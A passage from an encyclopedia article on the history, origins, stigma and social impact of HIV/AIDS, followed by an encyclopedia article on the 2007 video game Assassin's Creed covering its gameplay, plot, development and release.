The first news story on the disease appeared on May 18, 1981, in the gay newspaper New York Native. AIDS was first clinically reported on June 5, 1981, with five cases in the United States. The initial cases were a cluster of injecting drug users and gay men with no known cause of impaired immunity who showed symptoms of Pneumocystis carinii pneumonia (PCP), a rare opportunistic infection that was known to occur in people with very compromised immune systems. Soon thereafter, a large number of homosexual men developed a generally rare skin cancer called Kaposi's sarcoma (KS). Many more cases of PCP and KS emerged, alerting U.S. Centers for Disease Control and Prevention (CDC) and a CDC task force was formed to monitor the outbreak.
In the early days, the CDC did not have an official name for the disease, often referring to it by way of diseases associated with it, such as lymphadenopathy, the disease after which the discoverers of HIV originally named the virus. They also used Kaposi's sarcoma and opportunistic infections, the name by which a task force had been set up in 1981. At one point the CDC referred to it as the "4H disease", as the syndrome seemed to affect heroin users, homosexuals, hemophiliacs, and Haitians. The term GRID, which stood for gay-related immune deficiency, had also been coined. However, after determining that AIDS was not isolated to the gay community, it was realized that the term GRID was misleading, and the term AIDS was introduced at a meeting in July 1982. By September 1982 the CDC started referring to the disease as AIDS.
In 1983, two separate research groups led by Robert Gallo and Luc Montagnier declared that a novel retrovirus may have been infecting people with AIDS, and published their findings in the same issue of the journal Science. Gallo claimed a virus which his group had isolated from a person with AIDS was strikingly similar in shape to other human T-lymphotropic viruses (HTLVs) that his group had been the first to isolate. Gallo's group called their newly isolated virus HTLV-III. At the same time, Montagnier's group isolated a virus from a person presenting with swelling of the lymph nodes of the neck and physical weakness, two characteristic symptoms of AIDS. Contradicting the report from Gallo's group, Montagnier and his colleagues showed that core proteins of this virus were immunologically different from those of HTLV-I. Montagnier's group named their isolated virus lymphadenopathy-associated virus (LAV). As these two viruses turned out to be the same, in 1986, LAV and HTLV-III were renamed HIV.
Origins
The origin of HIV / AIDS and the circumstances that led to its emergence remain unsolved.
Both HIV-1 and HIV-2 are believed to have originated in non-human primates in West-central Africa and were transferred to humans in the early 20th century. HIV-1 appears to have originated in southern Cameroon through the evolution of SIV(cpz), a simian immunodeficiency virus (SIV) that infects wild chimpanzees (HIV-1 descends from the SIVcpz endemic in the chimpanzee subspecies Pan troglodytes troglodytes). The closest relative of HIV-2 is SIV (smm), a virus of the sooty mangabey (Cercocebus atys atys), an Old World monkey living in coastal West Africa (from southern Senegal to western Ivory Coast). New World monkeys such as the owl monkey are resistant to HIV-1 infection, possibly because of a genomic fusion of two viral resistance genes. HIV-1 is thought to have jumped the species barrier on at least three separate occasions, giving rise to the three groups of the virus, M, N, and O.
There is evidence that humans who participate in bushmeat activities, either as hunters or as bushmeat vendors, commonly acquire SIV. However, SIV is a weak virus which is typically suppressed by the human immune system within weeks of infection. It is thought that several transmissions of the virus from individual to individual in quick succession are necessary to allow it enough time to mutate into HIV. Furthermore, due to its relatively low person-to-person transmission rate, SIV can only spread throughout the population in the presence of one or more high-risk transmission channels, which are thought to have been absent in Africa before the 20th century.
Specific proposed high-risk transmission channels, allowing the virus to adapt to humans and spread throughout society, depend on the proposed timing of the animal-to-human crossing. Genetic studies of the virus suggest that the most recent common ancestor of the HIV-1 M group dates back to 1910. Proponents of this dating link the HIV epidemic with the emergence of colonialism and growth of large colonial African cities, leading to social changes, including a higher degree of sexual promiscuity, the spread of prostitution, and the accompanying high frequency of genital ulcer diseases (such as syphilis) in nascent colonial cities. While transmission rates of HIV during vaginal intercourse are low under regular circumstances, they are increased manyfold if one of the partners has a sexually transmitted infection causing genital ulcers. Early 1900s colonial cities were notable for their high prevalence of prostitution and genital ulcers, to the degree that, as of 1928, as many as 45% of female residents of eastern Kinshasa were thought to have been prostitutes, and, as of 1933, around 15% of all residents of the same city had syphilis.
An alternative view holds that unsafe medical practices in Africa after World War II, such as unsterile reuse of single-use syringes during mass vaccination, antibiotic and anti-malaria treatment campaigns, were the initial vector that allowed the virus to adapt to humans and spread.
The earliest well-documented case of HIV in a human dates back to 1959 in the Congo. The virus may have been present in the U.S. as early as the mid-to-late 1950s, as a sixteen-year-old male named Robert Rayford presented with symptoms in 1966 and died in 1969. In the 1970s, there were cases of getting parasites and becoming sick with what was called "gay bowel disease", but what is now suspected to have been AIDS.
The earliest retrospectively described case of AIDS is believed to have been in Norway beginning in 1966, that of Arvid Noe. In July 1960, in the wake of Congo's independence, the United Nations recruited Francophone experts and technicians from all over the world to assist in filling administrative gaps left by Belgium, who did not leave behind an African elite to run the country. By 1962, Haitians made up the second-largest group of well-educated experts (out of the 48 national groups recruited), that totaled around 4500 in the country. Dr. Jacques Pépin, a Canadian author of The Origins of AIDS, stipulates that Haiti was one of HIV's entry points to the U.S. and that a Haitian may have carried HIV back across the Atlantic in the 1960s. Although there was known to have been at least one case of AIDS in the U.S. from 1966, the vast majority of infections occurring outside sub-Saharan Africa (including the U.S.) can be traced back to a single unknown individual who became infected with HIV in Haiti and brought the infection to the U.S. at some time around 1969. The epidemic rapidly spread among high-risk groups (initially, sexually promiscuous men who have sex with men). By 1978, the prevalence of HIV-1 among gay male residents of New York City and San Francisco was estimated at 5%, suggesting that several thousand individuals in the country had been infected.
Society and culture
Stigma
AIDS stigma exists around the world in a variety of ways, including ostracism, rejection, discrimination and avoidance of HIV-infected people; compulsory HIV testing without prior consent or protection of confidentiality; violence against HIV-infected individuals or people who are perceived to be infected with HIV; and the quarantine of HIV-infected individuals. Stigma-related violence or the fear of violence prevents many people from seeking HIV testing, returning for their results, or securing treatment, possibly turning what could be a manageable chronic illness into a death sentence and perpetuating the spread of HIV.
AIDS stigma has been further divided into the following three categories:
Instrumental AIDS stigma—a reflection of the fear and apprehension that are likely to be associated with any deadly and transmissible illness.
Symbolic AIDS stigma—the use of HIV/AIDS to express attitudes toward the social groups or lifestyles perceived to be associated with the disease.
Courtesy AIDS stigma—stigmatization of people connected to the issue of HIV/AIDS or HIV-positive people.
Often, AIDS stigma is expressed in conjunction with one or more other stigmas, particularly those associated with homosexuality, bisexuality, promiscuity, prostitution, and intravenous drug use.
In many developed countries, there is an association between AIDS and homosexuality or bisexuality, and this association is correlated with higher levels of sexual prejudice, such as anti-homosexual or anti-bisexual attitudes. There is also a perceived association between AIDS and all male-male sexual behavior, including sex between uninfected men. However, the dominant mode of spread worldwide for HIV remains heterosexual transmission.
In 2003, as part of an overall reform of marriage and population legislation, it became legal for those diagnosed with AIDS to marry in China.
In 2013, the U.S. National Library of Medicine developed a traveling exhibition titled Surviving and Thriving: AIDS, Politics, and Culture; this covered medical research, the U.S. government's response, and personal stories from people with AIDS, caregivers, and activists.
Economic impact
HIV/AIDS affects the economics of both individuals and countries. The gross domestic product of the most affected countries has decreased due to the lack of human capital. Without proper nutrition, health care and medicine, large numbers of people die from AIDS-related complications. Before death they will not only be unable to work, but will also require significant medical care. It is estimated that as of 2007 there were 12 million AIDS orphans. Many are cared for by elderly grandparents.
Returning to work after beginning treatment for HIV/AIDS is difficult, and affected people often work less than the average worker. Unemployment in people with HIV/AIDS also is associated with suicidal ideation, memory problems, and social isolation. Employment increases self-esteem, sense of dignity, confidence, and quality of life for people with HIV/AIDS. Anti-retroviral treatment may help people with HIV/AIDS work more, and may increase the chance that a person with HIV/AIDS will be employed (low-quality evidence).
By affecting mainly young adults, AIDS reduces the taxable population, in turn reducing the resources available for public expenditures such as education and health services not related to AIDS, resulting in increasing pressure on the state's finances and slower growth of the economy. This causes a slower growth of the tax base, an effect that is reinforced if there are growing expenditures on treating the sick, training (to replace sick workers), sick pay, and caring for AIDS orphans. This is especially true if the sharp increase in adult mortality shifts the responsibility from the family to the government in caring for these orphans.
At the household level, AIDS causes both loss of income and increased spending on healthcare. A study in Côte d'Ivoire showed that households having a person with HIV/AIDS spent twice as much on medical expenses as other households. This additional expenditure also leaves less income to spend on education and other personal or family investment.
Religion and AIDS
The topic of religion and AIDS has become highly controversial, primarily because some religious authorities have publicly declared their opposition to the use of condoms. The religious approach to prevent the spread of AIDS, according to a report by American health expert Matthew Hanley titled The Catholic Church and the Global AIDS Crisis, argues that cultural changes are needed, including a re-emphasis on fidelity within marriage and sexual abstinence outside of it.
Some religious organizations have claimed that prayer can cure HIV/AIDS. In 2011, the BBC reported that some churches in London were claiming that prayer would cure AIDS, and the Hackney-based Centre for the Study of Sexual Health and HIV reported that several people stopped taking their medication, sometimes on the direct advice of their pastor, leading to many deaths. The Synagogue Church Of All Nations advertised an "anointing water" to promote God's healing, although the group denies advising people to stop taking medication.
Media portrayal
One of the first high-profile cases of AIDS was the American gay actor Rock Hudson. He had been diagnosed during 1984, announced that he had had the virus on July 25, 1985, and died a few months later on October 2, 1985. Another notable British casualty of AIDS that year was Nicholas Eden, a gay politician and son of former prime minister Anthony Eden. On November 24, 1991, British rock star Freddie Mercury died from an AIDS-related illness, having revealed the diagnosis only on the previous day.
One of the first high-profile heterosexual cases of the virus was American tennis player Arthur Ashe. He was diagnosed as HIV-positive on August 31, 1988, having contracted the virus from blood transfusions during heart surgery earlier in the 1980s. Further tests within 24 hours of the initial diagnosis revealed that Ashe had AIDS, but he did not tell the public about his diagnosis until April 1992. He died as a result on February 6, 1993, aged 49.
Therese Frare's photograph of gay activist David Kirby, as he lay dying from AIDS while surrounded by family, was taken in April 1990. Life magazine said the photo became the one image "most powerfully identified with the HIV/AIDS epidemic." The photo was displayed in Life, was the winner of the World Press Photo, and acquired worldwide notoriety after being used in a United Colors of Benetton advertising campaign in 1992.
Many famous artists and AIDS activists such as Larry Kramer, Diamanda Galás and Rosa von Praunheim campaign for AIDS education and the rights of those affected. These artists worked with various media formats.
Criminal transmission
Criminal transmission of HIV is the intentional or reckless infection of a person with the human immunodeficiency virus (HIV). Some countries or jurisdictions, including some areas of the United States, have laws that criminalize HIV transmission or exposure. Others may charge the accused under laws enacted before the HIV pandemic.
In 1996, Ugandan-born Canadian Johnson Aziga was diagnosed with HIV; he subsequently had unprotected sex with eleven women without disclosing his diagnosis. By 2003, seven had contracted HIV; two died from complications related to AIDS. Aziga was convicted of first-degree murder and sentenced to life imprisonment.
Misconceptions
There are many misconceptions about HIV and AIDS. Three misconceptions are that AIDS can spread through casual contact, that sexual intercourse with a virgin will cure AIDS, and that HIV can infect only gay men and drug users. In 2014, some among the British public wrongly thought one could get HIV from kissing (16%), sharing a glass (5%), spitting (16%), a public toilet seat (4%), and coughing or sneezing (5%). Other misconceptions are that any act of anal intercourse between two uninfected gay men can lead to HIV infection, and that open discussion of HIV and homosexuality in schools will lead to increased rates of AIDS.
A small group of individuals continue to dispute the connection between HIV and AIDS, the existence of HIV itself, or the validity of HIV testing and treatment methods. These claims, known as AIDS denialism, have been examined and rejected by the scientific community. However, they have had a significant political impact, particularly in South Africa, where the government's official embrace of AIDS denialism (1999–2005) was responsible for its ineffective response to that country's AIDS epidemic, and has been blamed for hundreds of thousands of avoidable deaths and HIV infections.
Several discredited conspiracy theories have held that HIV was created by scientists, either inadvertently or deliberately. Operation INFEKTION was a worldwide Soviet active measures operation to spread the claim that the United States had created HIV/AIDS. Surveys show that a significant number of people believed—and continue to believe—in such claims.
Research
HIV/AIDS research includes all medical research which attempts to prevent, treat, or cure HIV/AIDS, along with fundamental research about the nature of HIV as an infectious agent, and about AIDS as the disease caused by HIV.
Many governments and research institutions participate in HIV/AIDS research. This research includes behavioral health interventions such as sex education, and drug development, such as research into microbicides for sexually transmitted diseases, HIV vaccines, and antiretroviral drugs. Other medical research areas include the topics of pre-exposure prophylaxis, post-exposure prophylaxis, and circumcision and HIV. Public health officials, researchers, and programs can gain a more comprehensive picture of the barriers they face, and the efficacy of current approaches to HIV treatment and prevention, by tracking standard HIV indicators. Use of common indicators is an increasing focus of development organizations and researchers.
References
Notes
External links
UNAIDS – Joint United Nations Program on HIV/AIDS
HIVinfo – Information on HIV/AIDS treatment, prevention, and research, U.S. Department of Health and Human Services
2018 Recommendations of the International Antiviral Society
1981 in biology
Articles containing video clips
Health disasters
Pandemics
Slow virus diseases
Aids
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https://en.wikipedia.org/wiki/Assassin%27s%20Creed%20%28video%20game%29
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Assassin's Creed (video game)
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Assassin's Creed is an action-adventure game developed by Ubisoft Montreal and published by Ubisoft. It is the first installment in the Assassin's Creed series. The video game was released for PlayStation 3 and Xbox 360 in November 2007. A Microsoft Windows version titled Assassin's Creed: Director's Cut Edition containing additional content was released in April 2008.
The plot is set in a fictional history of real-world events, taking place primarily during the Third Crusade in the Holy Land in 1191. The player character is a modern-day man named Desmond Miles who, through a machine called the Animus, relives the genetic memories of his ancestor, Altaïr Ibn-La'Ahad. Through this plot device, details emerge about a millennia-old struggle between two factions: the Assassin Brotherhood (inspired by the real-life Order of Assassins), who fight to preserve peace and free will, and the Templar Order (inspired by the Knights Templar military order), who seek to establish peace through order and control. Both factions fight over powerful artifacts of mysterious origins known as Pieces of Eden to gain an advantage over each other. The 12th-century portion of the story follows Altaïr, an Assassin, who embarks on a quest to regain his honour after botching a mission to recover one such artifact from the Templars; he does so by finding and assassinating nine targets across the Holy Land.
The gameplay focuses on using Altaïr's combat, stealth, and parkour abilities to defeat enemies and explore the environment. The game features counter-based hack-and-slash combat, social stealth (the ability to use crowds of people and the environment to hide from enemies), and a large open world comprising various regions of the Holy Land, primarily the cities of Masyaf, Jerusalem, Acre, and Damascus, all of which have been accurately recreated to fit the game's period. While most of the game takes place within a simulation based on Altaïr's memories, the player will occasionally be forced out of the Animus to play as Desmond in the modern day. Here, they are restricted to exploring a small laboratory facility, as Desmond has been kidnapped by a shady corporation looking for specific information within Altaïr's memories that will further their enigmatic goals.
Upon release, Assassin's Creed received generally positive reviews, with critics praising its storytelling, visuals, art design, and originality, while criticism mostly focused on the repetitive nature of its gameplay. Assassin's Creed won several awards at the 2006 E3 and several end-year awards after its release. The game spawned two spin-offs: Assassin's Creed: Altaïr's Chronicles (2008) and Assassin's Creed: Bloodlines (2009), which exclude the modern-day aspect and focus entirely on Altaïr. A direct sequel, Assassin's Creed II, was released in November 2009. The sequel continues the modern-day narrative following Desmond but introduces a new storyline set during the Italian Renaissance in the late 15th century and a new protagonist, Ezio Auditore da Firenze. Since the release and success of Assassin's Creed II, subsequent games have been released with various other Assassins and periods.
Gameplay
Assassin's Creed is an action-adventure game, set in an open-world environment, which is played from a third-person view in which the player primarily assumes the role of Altaïr, as experienced by protagonist Desmond Miles. The game's primary goal is to carry out a series of assassinations ordered by Al Mualim, the Assassins' leader. To achieve this goal, the player must travel from the Brotherhood's headquarters in Masyaf, across the terrain of the Holy Land known as the Kingdom, where the player can freely ride a horse, to one of three cities—Jerusalem, Acre, or Damascus—to find the Brotherhood agent in that city. There, the agent, in addition to providing a safe house, gives the player minimal knowledge about the target and requires them to perform additional reconnaissance missions before attempting the assassination. These missions include eavesdropping, interrogation, pickpocketing, and completing tasks for informers and fellow Assassins. The player may also take part in several side objectives, including climbing tall towers to map out the city and saving citizens being threatened or harassed by the city guards. There are also various additional memories that do not advance the plot, such as hunting down and killing Templar Knights and flag collecting. After completing each assassination, the player is returned to the Brotherhood and rewarded with a better weapon or upgrade before going after the next target or given another set of targets, with the player free to select the order of certain targets.
The player is made aware of how noticeable Altaïr is to enemy guards and the state of alert in the local area via the Social Status Icon. To perform many assassinations and other tasks, the player must consider the use of actions distinguished by their type of profile. Low-profile actions allow Altaïr to blend into nearby crowds, pass by other citizens, or perform other non-threatening tasks that can be used to hide and reduce the alertness level; the player can also use Altaïr's retractable hidden blade to attempt low-profile assassinations. High-profile actions are more noticeable and include running, scaling the sides of buildings to climb to higher vantage points, and attacking foes; performing these actions at certain times may raise the local area's awareness level. Once the area is at high alert, crowds run and scatter while guards attempt to chase and bring down Altaïr; to reduce the alert level, the player must control Altaïr as to break the guards' line of sight and then find a hiding space, such as a haystack or rooftop garden, or blend in with the citizens sitting on benches or wandering scholars. Should the player be unable to escape the guards, they can fight back using swordplay maneuvers.
The player's health is described as the level of synchronization between Desmond and Altaïr's memories; should Altaïr suffer injury, it is represented as a deviation from the actual events of the memory rather than physical damage. If all synchronization is lost, the current memory that Desmond is experiencing will be restarted at the last checkpoint. When the synchronization bar is full, the player has the additional option to use the Eagle Vision, which allows the computer-rendered memory to highlight all visible characters in colours corresponding to whether they are allies (blue), foes (red), neutral (white), or the target of their assassination (gold). Due to Altaïr's memories being rendered by the computer of the Animus project, the player may experience glitches in the rendering of the historical world, which may help the player to identify targets, or can be used to alter the viewpoint during in-game scripted scenes should the player react fast enough when they appear.
Plot
In 2012, bartender Desmond Miles (Nolan North) is kidnapped by agents of Abstergo Industries, the world's largest pharmaceutical conglomerate, and is taken to their headquarters in Rome, Italy. Under the supervision of Dr. Warren Vidic (Philip Proctor) and his assistant Lucy Stillman (Kristen Bell), Desmond is forced to enter a machine called the Animus, which can translate his ancestors' genetic memories into a simulated reality. Vidic instructs Desmond to relive the early years of Altaïr Ibn-La'Ahad (Philip Shahbaz), a senior member of the Assassin Brotherhood during the Third Crusade.
In 1191, Altaïr and two fellow Assassins—brothers Malik (Haaz Sleiman) and Kadar Al-Sayf— are sent to Solomon's Temple to retrieve an artifact known as the Apple of Eden from the Brotherhood's sworn enemies, the Knights Templar. Blinded by arrogance, Altaïr botches the mission, resulting in Kadar's death; however, Malik is able to grab the Apple before escaping. Although Altaïr later partially redeems himself by fighting off a Templar attack on the Assassin home base of Masyaf, his mentor and superior, Al Mualim (Peter Renaday), demotes and orders him to assassinate nine individuals in order to regain his previous position and honour:
Tamir (Ammar Daraiseh), an arms merchant in Damascus selling weapons to both the Crusaders and Saracens.
Garnier de Nablus (Hubert Fielden), the leader of the Knights Hospitalier, who conducts mind-altering experiments on patients at his hospital in Acre.
Talal (Jake Eberle), the leader of a gang of slavers in Jerusalem.
Abu'l Nuquod (Fred Tatasciore), a pompous trader and regent of Damascus stealing money intended to fund the war.
William V, Marquess of Montferrat (Harry Standjofski), Acre's cruel and abusive regent.
Majd Addin (Richard Cansino; based on Baha ad-Din ibn Shaddad), a tyrant who rules Jerusalem through fear by holding public executions.
Master Sibrand (Arthur Holden), the paranoid leader of the Knights Teutonic, who plans to betray the Crusaders by blocking the ports of Acre.
Jubair al Hakim (also Tatasciore), a scholar using his position to seize and destroy all written knowledge in Damascus.
Robert de Sablé (Louis-Philippe Dandenault), the Grand Master of the Templars, who has been taking advantage of the Crusade to further his Order's ideological goals.
As Altaïr eliminates each target, he discovers all nine are Templars who had conspired to retrieve the Apple, revealed to be a relic of a long-forgotten civilization said to possess god-like powers. He also comes to question the nature of Al Mualim's orders while slowly becoming more humble and wise and making amends with Malik. During his assassination attempt on Robert, Altaïr is tricked with a decoy: a Templar named Maria Thorpe (Eleanor Noble). Maria reveals that Robert had anticipated the Assassins would come after him and went to negotiate an alliance between the Crusaders and Saracens against them.
Sparing Maria's life, Altaïr confronts Robert in the camp of King Richard I (Marcel Jeannin) and exposes his crimes. Unsure of whom to believe, Richard suggests a duel to determine the truth, remarking that God will decide the victor. After Altaïr mortally wounds him, Robert identifies Al Mualim as the final conspirator, revealing that the latter has betrayed both the Assassins and Templars to acquire the Apple. Altaïr returns to Masyaf, where Al Mualim has used the Apple to enthrall the population, as part of his plan to end the Crusade and all conflict in the world by imposing order by force. With the help of Malik and several Assassins brought for backup, Altaïr storms the citadel and confronts Al Mualim in the gardens, resisting the Apple's powers and killing his mentor. He then tries to destroy the artifact, but instead unlocks a map showing the locations of countless other Pieces of Eden around the world.
In the present, the Assassins launch an unsuccessful attack on the Abstergo facility to rescue Desmond, resulting in most of them being killed. After completing Altaïr's memories, Vidic reveals to Desmond that Abstergo is a front for the modern-day Templars, seeking to find the remaining Pieces of Eden. With Desmond no longer useful, Vidic's superiors order him killed, but Lucy, who is implied to be an Assassin mole, convinces them to keep him alive for further testing. Desmond is left alone in his room, where he discovers strange drawings describing an upcoming catastrophic event.
Development
After completing Prince of Persia: The Sands of Time near the end of 2003, Patrice Désilets was instructed to begin work on the next Prince of Persia game, with plans to release it on the seventh-generation consoles. As Microsoft and Sony had not yet revealed their next consoles, the game's initial development from January 2004 was aimed as a PlayStation 2 title, following the same linear approach that The Sands of Time had taken. As more information came in about the capabilities of the next-generation consoles by September 2004, Désilets' team considered expanding the Prince of Persia acrobatic gameplay into an open world that would be feasible on the newer systems.
Désilets wanted to move away from the lead character being a prince simply waiting for his reign to start, but a character that wanted to strive to be a king. He came upon one of his university books on secret societies and its first material related to the Order of Assassins and recognized that he could have the lead character in the game as the second-highest Assassin, seeking to be the leader of the group. The game began work under the title Prince of Persia: Assassin, or Prince of Persia: Assassins, inspired by Hassan-i Sabbah's life and making heavy use of Vladimir Bartol's novel Alamut. The Assassin character was fleshed out throughout the game's three-year development in an iterative fashion. The team had some idea of how the character dressed from Alamut and other historical works in all-white robes and a red belt but had to envision how to detail this in the game. One of the first concept sketches, drawn by animator Khai Nguyen, suggested the concept of a bird of prey, which resonated with the team. The Assassin was named Altaïr, meaning "bird of prey" in Arabic, and eagle imagery was used heavily in connection to the Assassins. The team took some creative routes to meet narrative goals and avoid the technical limitations of the consoles. Altaïr was to be a heroic character with a bit of a badass edge, and the artist borrowed elements of the G.I. Joe character Storm Shadow, a similarly skilled hero. Rendering long flowing robes was impossible on the newer hardware, so they shortened the robe and gave it a more feathered look, resonating the bird of prey imagery. Similar routes were taken with other parts of the gameplay to take liberties with accuracy to make the game fun to play. The team wanted Altaïr's parkour moves to look believable but sacrificed realism for gameplay value, allowing the player to make maneuvers otherwise seemingly impossible in real-life. Having leaps of faiths from high vantage points into hay piles and using hay piles to hide from guards was a similar concept borrowed from Hollywood films; Désilets observed that Alamut described similar actions that the Assassins had undertaken.
To drive the story, the team had to devise a some goal that both the Assassins and Templars were searching for. Philippe Morin suggested using the apple of Eden, which the team initially thought humorous for everyone to fight over an apple; however, as they researched, the team found that many medieval paintings of royalty and other leaders holding spherical objects similar to globus cruciger that represented power and control, and recognized that an artifact named the Apple of Eden would fit well into this concept.
Among this work was the idea of the Animus, which came about after the team decided to focus on the Assassins. The team considered that the player would travel through several cities and potentially recount numerous assassinations over the past thousand years, including notable ones such as John F. Kennedy's, which would require some time travelling. Désilets had seen a program on DNA and human history and was inspired by the idea that DNA could store human memories, then they could have an in-game machine that could be used for time and location jumps and explain other aspects of the game's user interface to the player. Désilets considered this similar to what they had established in The Sands of Time. There, the game effectively is a story told by the Prince, and while in the game, should the player-character die, this is treated as a mistelling of the Prince's story, allowing the player to back up and retry a segment of the game. Ubisoft's marketing was not keen on the Animus idea, believing players would be confused and disappointed that the game was not a truly medieval experience. Due to this, the game's first trailer shown at the 2006 Electronic Entertainment Expo (E3) focused heavily on medieval elements. Later marketing materials closer to the game's release hinted more directly at the science fiction elements of the game.
The game cost $15 million to $20 million to develop.
Design
Initial work on the game was to expand out various systems from Prince of Persia to the open world concept with a team of 20 at Ubisoft Montreal. A new next-generation game engine, the Scimitar engine, was created to support the open world, though this would take about two years to complete, during which the team used the Sands of Time engine for development; Scimitar eventually was renamed to AnvilNext and been used for most of the following Assassin's Creed games and other titles at Ubisoft. Elements like wall-climbing were made more fluid, and the team worked to smooth other animation sequences; much of the improvements here came from programmer Richard Dumas and animator Alex Drouin, both of whom had worked together on the same elements in Sands of Time. Level designers and artists recreating historical structures had to work together to ensure nearly every building could be climbable while still holding the game's historical appearances. This also helped them to give the feeling to the player that they had as much freedom as possible within the game, a concept that had originated from the success of the Grand Theft Auto series.
In contrast to Prince of Persia, where the general path that the player takes through a level is predefined, the open-world approach of this game required them to create cities that felt realistic and accurate to historical information but which the player had full freedom to climb and explore. Outside of special buildings, they crafted their cities like Lego bricks, with a second pass to smooth out the shapes of the cities to help with pathfinding and other facets of the enemy artificial intelligence. To encourage the player to explore, they included the various towers that help to reveal parts of the map. Historically, these cities had such landmark towers, and inspired by those, the developers incorporated them into the map, making these points of interest and challenges for players to drive them to climb them. Another factor was guiding the player and devising missions for the player that still gave the player freedom for how to approach it but still created specific moments they wanted the player to experience. For these cases, they used simple animations developed in Adobe Flash to lay out the fundamentals of what actions they wanted and then crafted levels and missions around those.
As they started to recognize the need for cities in this open-world game, Désilets wanted to make sure they were also able to simulate large crowds, as this had been a limiting factor due to hardware limitations during the development of The Sands of Time; with the PlayStation 2 hardware, they could only support having up to eight characters on screen for The Sands of Time, but the next-generation hardware was able to support up to 120 people. Having crowds in the game also led to the concept of social stealth, where the main character could mask themselves in the open, in addition to staying out of sight on rooftops. Désilets had come from an acting background, and one element he had incorporated into the game was to make the player-character feel more like they were controlling parts of a puppet so that the character would appear more human. This led to the use of high- and low-profile action in gameplay, which partially expressed the character's emotions and allowed the player to continue to control the character during the game's cutscenes.
The fundamentals of gameplay were completed within nine to twelve months, and another year was spent improving it before they presented the game to Ubisoft's executives in Paris. Jade Raymond was brought in in late 2004 to serve as the game's producer, helping with the team's growth and the game's direction. From late 2005 to early 2006, following nearly two years of development, the concept for Prince of Persia: Assassins had the game's titular prince AI-controlled, watched over by the player-controlled Assassin that served as the Prince's bodyguard and rescued the Prince from various situations. Ubisoft's management and the development had debates on this direction; Ubisoft's management wanted another game in the Prince of Persia franchise and was not keen on releasing a game with that name where the Prince was not the lead character. The development team counters that with a new generation of consoles, they could potentially make it a new intellectual property. Near the 2006 Game Developers Conference, Ubisoft's marketing team came up with the idea of naming the game Assassin's Creed, which Désilets recognized fit in perfectly with the themes they had been working on, including tying into the creed of the Assassins that "nothing is true; everything is permitted". The prince character was dropped, and the game focused solely on the assassin as the playable character.
Following the 2006 E3 presentation and the name change to Assassin's Creed, the Ubisoft Montreal team grew to support the last year of the game's development, with up to 150 persons by the end of the process. Added team members included those that had just finished up production on Prince of Persia: The Two Thrones, as well as former staff that had recently been let go from Gameloft, another publisher owned by Ubisoft's co-founder Michel Guillemot. The Scimitar engine was completed, allowing the team to transfer their work and improve detail and art assets.
According to Charles Randall, the lead AI developer for the game's combat systems, the game was initially only based on the main missions of assassinating the main targets and had no side quests. About five days before they were to have sent the final software version for mass production, they were contacted by their CEO, who said his son had played the game and found it boring and gave them a missive to add side quests. The team spent the next five days hastily rushing to add the collecting side quests to give it more depth and ensure these were bug-free to make their mass production deadline. While a few noted bugs fell through, they had otherwise met this target.
Voice acting
On September 28, 2006, in an interview with IGN, producer Jade Raymond confirmed that Altaïr is "a medieval hitman with a mysterious past" and that he is not a time traveller. In a later interview on December 13, 2006, with IGN, Kristen Bell, who lent her voice and likeness to the game, talked about the plot. According to the interview, the plot centers on genetic memory and a corporation looking for descendants of an assassin.
Actor Philip Shahbaz voices Altaïr, whose face is modelled on Francisco Randez, a model from Montréal. Al Mualim's character is roughly based on Rashid ad-Din Sinan, who in 1191 was the leader of the Syrian branch of the Hashshashin in the Nizari Ismaili state and was nicknamed "The Old Man of the Mountain". Al Mualim was referred to as Sinan in Assassin's Creed: Altaïr's Chronicles. On October 22, 2007, an IGN Australia interview with Patrice Desilets mentioned that the lead character's climbing and running were done by "Alex and Richard – the same guys from Prince of Persia".
Release
The game was released for PlayStation 3 and Xbox 360 on November 13, 2007, in North America, November 16 in Europe, and November 21 in Australia and New Zealand.
It was made public in April 2008 that Assassin's Creed would be sold digitally and available for pre-order through Valve's software distribution, Steam. The PC version of Assassin's Creed was released in North America on April 8, 2008. Four bonus mission types, not seen in the console versions, are included. These four missions are archer assassination, rooftop race challenge, merchant stand destruction challenge, and escort challenge. Because of these four exclusive missions that are only available on the PC, it was released and is sold under the name of Director's Cut Edition.
A pirated version of the game has been in existence since late February 2008. Ubisoft purposely inserted a computer bug into the pre-release version to unpredictably crash the game and prevent completion as a security measure; however, players were able to use extra content available on the Internet to bypass it. The pirated version of Assassin's Creed was one of the most popular titles for piracy during the first week of March 2008. The presence of the bug and performance of the pirated version of the game was believed by Ubisoft to lead to "irreparable harm" for the game and resulted in low retail sales; NPD Group reports that 40,000 copies of the PC title were sold in the United States in July, while more than 700,000 copies were illegally downloaded according to Ubisoft. In July 2008, Ubisoft sued disc manufacturer Optical Experts Manufacturing, believing the company to be the source of the leak, citing poor security procedures that allowed an employee to leave with a copy of the game.
A digital rights management-free game version was later made by GOG.com, a digital distribution store and a subsidiary of CD Projekt and CD Projekt Red. It is available on the GOG Store and GOG Galaxy. On July 10, 2007, during Microsoft's E3 press conference, a demo was shown taking place in Jerusalem. Features that were demonstrated included improved crowd mechanics, the chase system (chasing after a target trying to flee), as well as deeper aspects of parkour. This was the first time when Altaïr could be heard speaking. It was again showcased for 20 minutes on July 11, 2007. A video showed an extended version of the E3 demo and included Altaïr trying to escape after assassinating of Talal, the slave trader.
Music
Jade Raymond, the producer of Assassin's Creed, said: "For Assassin's Creed we wanted the score to capture the gruesome atmosphere of medieval warfare but also be edgy and contemporary." The musical score was composed by Jesper Kyd in 2007. Six tracks were made available online to those who have purchased the game; a password was given to people to insert at the soundtrack section of the Ubisoft website. The soundtrack is available from various online music stores. Several tracks are also available on Kyd's MySpace and his official website. The released tracks have the archaic Latin chorus and dark orchestral music, while "Meditation Begins" features a kind of Saltarello with a very ominous, dark, ambient overtone with men whispering in Latin. The atmosphere in these tracks is what Jesper Kyd is known for and is effective in situ.
Reception
Critical reception
